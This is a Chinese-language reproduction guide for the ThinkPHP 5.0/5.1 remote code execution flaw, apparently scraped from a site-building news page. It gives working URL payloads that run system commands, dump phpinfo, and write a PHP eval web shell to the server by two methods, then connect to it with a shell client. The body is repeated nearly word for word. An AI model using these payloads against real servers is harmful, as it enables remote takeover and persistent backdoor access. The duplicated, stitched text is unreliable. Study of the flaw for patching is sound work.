ThinkPHP 5.x远程命令执行漏洞复现
时间:2023年06月11日
/来源:网络
/编辑:佚名
一、漏洞描述
2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075
漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。
二、漏洞影响版本
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
三、漏洞复现
1、网站下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html
2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

3、利用system函数远程命令执行
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

4、通过phpinfo函数查看phpinfo()的信息
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

5、写入shell
Payload如下:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

6、查看是否成功写入shell

7、菜刀连接

8、第二种的写入shell的方法
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

9、查看是否成功写入文件

10、菜刀连接
2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075
漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。
二、漏洞影响版本
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
三、漏洞复现
1、网站下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html
2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

3、利用system函数远程命令执行
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

4、通过phpinfo函数查看phpinfo()的信息
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

5、写入shell
Payload如下:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

6、查看是否成功写入shell

7、菜刀连接

8、第二种的写入shell的方法
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

9、查看是否成功写入文件

10、菜刀连接

新闻资讯 更多
- 【建站知识】查询nginx日志状态码大于400的请求并打印整行04-03
- 【建站知识】Python中的logger和handler到底是个什么?04-03
- 【建站知识】python3拉勾网爬虫之(您操作太频繁,请稍后访问)04-03
- 【建站知识】xpath 获取meta里的keywords及description的方法04-03
- 【建站知识】python向上取整以50为界04-03
- 【建站知识】scrapy xpath遇见乱码解决04-03
- 【建站知识】scrapy爬取后中文乱码,解决word转为html 时cp1252编码问题04-03
- 【建站知识】scrapy采集—爬取中文乱码,gb2312转为utf-804-03